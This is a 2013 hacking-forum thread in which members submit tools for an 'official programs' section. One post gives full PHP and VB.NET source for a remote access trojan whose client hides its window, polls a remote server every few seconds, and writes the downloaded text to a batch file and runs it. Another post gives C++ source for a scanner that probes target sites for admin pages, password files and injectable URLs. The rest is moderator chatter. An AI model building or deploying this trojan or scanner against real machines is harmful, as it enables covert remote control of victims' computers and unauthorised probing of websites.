RE: Your program in the official HC Programs? - Deque - 04-17-2013
@static_cast: Nice program, thank you. Post your thread in the programming section. I will move it to HC Official.
RE: Your program in the official HC Programs? - static_cast - 05-20-2013
Name: Official HC RAT
Description: This is a RAT written in PHP and VB.
Download Links:
http://static_cast.home.comcast.net/RAT.zip
https://dl.dropboxusercontent.com/u/125590256/RAT.zip
Here is the code for both files[TIP: The PHP page can also be viewed on smartphones and such, when rotated 90 degrees. ]:
rat.php
Code: <?php
if(isset($_POST['submit']))
{
$text = $_POST['text'];
file_put_contents("commands.txt", $text);
}
?>
<html>
<head>
<title>Hackcommunity PHP RAT</title>
</head>
<body style="background-image: url('http://i.imgur.com/l9LtNzl.png'); color: white">
<center>
<div style="background-color: black"><img src="http://static_cast.home.comcast.net/old/newLogo.png" alt="PHP RAT" /></div>
<form action="#" method="POST" style="height: 520px; width: 480px">
<textarea name="text" style="background-color: #333; color: white; width: 100%; height: 500px"><?php echo file_get_contents("commands.txt"); ?></textarea>
<br />
<input type="submit" name="submit" value="Save" style="margin-right: -1px; float: right" />
</form>
</center>
</body>
</html>
host.exe (Just make a windows form and paste this if you have Visual Studio)
Code: Imports System.Net
Imports System.IO.StreamReader
Imports System.IO.StreamWriter
Public Class Form1
Dim oStrText As String
Dim nStrText As String
Dim commandPath As String = "commands.bat"
Dim serverPath As String = "server.txt"
Dim server As String
Public Function LoadSiteContent(ByVal url As String) As String
Try
Dim instance As WebClient = New WebClient
Return instance.DownloadString(url)
Catch ex As Exception
Return ""
End Try
End Function
Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
Me.Opacity = 0
Me.ShowIcon = False
Me.ShowInTaskbar = False
Timer1.Enabled = True
Timer1.Interval = 2500
Try
Dim objReader As New System.IO.StreamReader(serverPath)
server = objReader.ReadToEnd()
objReader.Close()
Catch ex As Exception
Dim objWriter As New System.IO.StreamWriter(serverPath, False)
objWriter.Write("server to listen to")
objWriter.Close()
End Try
Try
Dim objReader As New System.IO.StreamReader(commandPath)
oStrText = objReader.ReadToEnd()
objReader.Close()
Catch ex As Exception
Dim objWriter As New System.IO.StreamWriter(commandPath, False)
objWriter.Write(nStrText)
objWriter.Close()
End Try
End Sub
Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
nStrText = LoadSiteContent(server)
If nStrText <> oStrText Then
oStrText = nStrText
Dim objWriter As New System.IO.StreamWriter(commandPath, False)
objWriter.Write(nStrText)
objWriter.Close()
Shell(commandPath)
End If
End Sub
End Class
Supported OS: Windows [Others with WINE]
Coded in: PHP+VB
Screenshots:
![[Image: clean.jpg]](http://s10.postimg.org/64agywd0l/clean.jpg)
http://s10.postimg.org/4chi3ztnt/clean.png
RE: Your program in the official HC Programs? - Deque - 05-20-2013
@"static_cast": Thanks for your entry. Post it in the coding section, I will move it to HC Official.
Also: Do you want to become a member of HC Dev? That would allow you to post your programs in HC Official without applying here.
RE: Your program in the official HC Programs? - static_cast - 05-20-2013
(05-20-2013, 08:33 PM)Deque Wrote: @"static_cast": Thanks for your entry. Post it in the coding section, I will move it to HC Official.
Also: Do you want to become a member of HC Dev? That would allow you to post your programs in HC Official without applying here.
Sure, I'll be HC Dev. I'm making a port scanner right now.
My tool - Dreamwalker - 08-16-2013
![[Image: wa2a.jpg]](http://img713.imageshack.us/img713/3719/wa2a.jpg)
Name: URL Scanner 1.2 Hackcommunity.com edition, Coded in C++:
Supported OS: Windows with wininet (<- most have it)
Description:
This tool will scan potentially vulnerable files and directories on a web server, it will scan things for information gathering files like robots.txt, sitemap.xml etc, it will scan for potential SQL injection links, login and admin pages, along with frontpage extension files/directories and much more. It works with real time feedback and is very easy to use.
Windows 32 bit compiled executable here
Source:
Code: #include<windows.h>
#include<iostream>
#include<string>
#include<wininet.h>
using namespace std;
#pragma comment (lib, "wininet.lib")
//Simple function to return a bool value to check whether URL is valid
bool ValidURL(string url)
{
bool result = false;
HINTERNET hSession = InternetOpen("ValidURL", INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
if (hSession != 0)
{
HINTERNET hFile = InternetOpenUrl(hSession, url.c_str(), 0, 0, INTERNET_FLAG_RELOAD, 0);
if (hFile != 0)
{
int code = 0;
DWORD codeLen = sizeof(int);
HttpQueryInfo(hFile, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &code, &codeLen, 0);
result = code == HTTP_STATUS_OK || code == HTTP_STATUS_REDIRECT;
InternetCloseHandle(hFile);
}
InternetCloseHandle(hSession);
}
return(result);
}
int main()
{
//Just intro
SetConsoleTitle("Vulnerable URL HackCommunity.com edition 1.2 beta by Dreamwalker");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
cout<<"--------------------------------------------------------------------------"<<endl;
cout<<"\tVulnerable URL checker HackCommunity.com edition coded by Dreamwalker"<<endl;
cout<<"\tvisit us at ";
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11);
cout<<" http://Dreamwalk.yolasite.com ";
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
cout<<"for more tools"<<endl;
cout<<"\t This tool will scan for potentially vulnerable ";
cout<<"URL's/directories\n\ton a webserver with realtime ";
cout<<"feedback, to say thanks or report bugs\n\t\t\temail me on dreamwalk1986@gmail.com\n"<<endl;
cout<<"--------------------------------------------------------------------------"<<endl;
/*
create 3 string, the input_url(got from user)
the original input (copy of the input from user, used later in the loop to reset string)
and file (string array) used for files/directories on server
*/
string original_input_url, input_url, file[20]= {"/robots.txt","/wp-login.php","/login/","/login.php","/admin.asp","/adm/",
"/admin/","/admin.php","/admin/home.php","/admin/cp.asp","/_vti_pvt/","/_vti_pvt/service.pwd","/_vti_inf.html","/cgi-bin/",
"/~root","/cache/","/sitemap.xml","/index.php?catid=","/index.php?id=",};
cout<<"Enter full URL ( ignore last forward slash, for instance http://google.com ):\n>";
cin>>input_url;
original_input_url = input_url;
//PERFORM INITIAL CHECK TO SEE IF URL IS VALID
cout<<"Performing check to see if website is valid"<<endl;
if(ValidURL(input_url) == false)
{
cout<<"Invalid URL, closing..."<<endl;
Sleep(10000);
return 0;
}
else cout<<"That worked, now scanning files/directories..."<<endl;
cout<<"--------------------------------------------------------------------------"<<endl;
//NOW SCAN FILES/DIRECTORIES
for (int i = 0; i < 19; i++)
{
//reset url
input_url = original_input_url;
input_url.append(file[i]);
if(ValidURL(input_url) == false)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),12);
cout<<input_url<<" FAILED"<<endl;
}
else
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),10);
cout<<input_url<<" SUCCESS!"<<endl;
}
}
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
cout<<"Finished, automatically close shortly..."<<endl;
//sleep for a bit
Sleep(120000);
return 0;
}
@Deque please check it out
RE: Your program in the official HC Programs? - bluedog.tar.gz - 08-16-2013
@dreamwalker , @deque is the person you need for approvement
RE: Your program in the official HC Programs? - Dreamwalker - 08-16-2013
(08-16-2013, 08:19 PM)bluedog.tar.gz Wrote: @dreamwalker , @deque is the person you need for approvement ![Smile Smile](https://sinister.ly/images/smilies/set/smile.png)
Cool... will he see this? or do I need to inbox him?
RE: Your program in the official HC Programs? - bluedog.tar.gz - 08-16-2013
(08-16-2013, 08:25 PM)Dreamwalker Wrote: (08-16-2013, 08:19 PM)bluedog.tar.gz Wrote: @dreamwalker , @deque is the person you need for approvement ![Smile Smile](https://sinister.ly/images/smilies/set/smile.png)
Cool... will he see this? or do I need to inbox him?
If you mention her with @ infront of the persons name, then the person will get a notification.
RE: Your program in the official HC Programs? - teptslept - 08-16-2013
(11-07-2012, 04:52 PM)Deque Wrote: Is this ok?
![[Image: gq9mtz7a.png]](http://s14.directupload.net/images/121107/gq9mtz7a.png)
Need downlod url. P.S. Nice thread
RE: Your program in the official HC Programs? - bluedog.tar.gz - 08-17-2013
(08-16-2013, 11:44 PM)teptslept Wrote: (11-07-2012, 04:52 PM)Deque Wrote: Is this ok?
![[Image: gq9mtz7a.png]](http://s14.directupload.net/images/121107/gq9mtz7a.png)
Need downlod url. P.S. Nice thread
How about you look further then your nose.
If you can't bring up the effort to look for it, then why should we give it to you.
|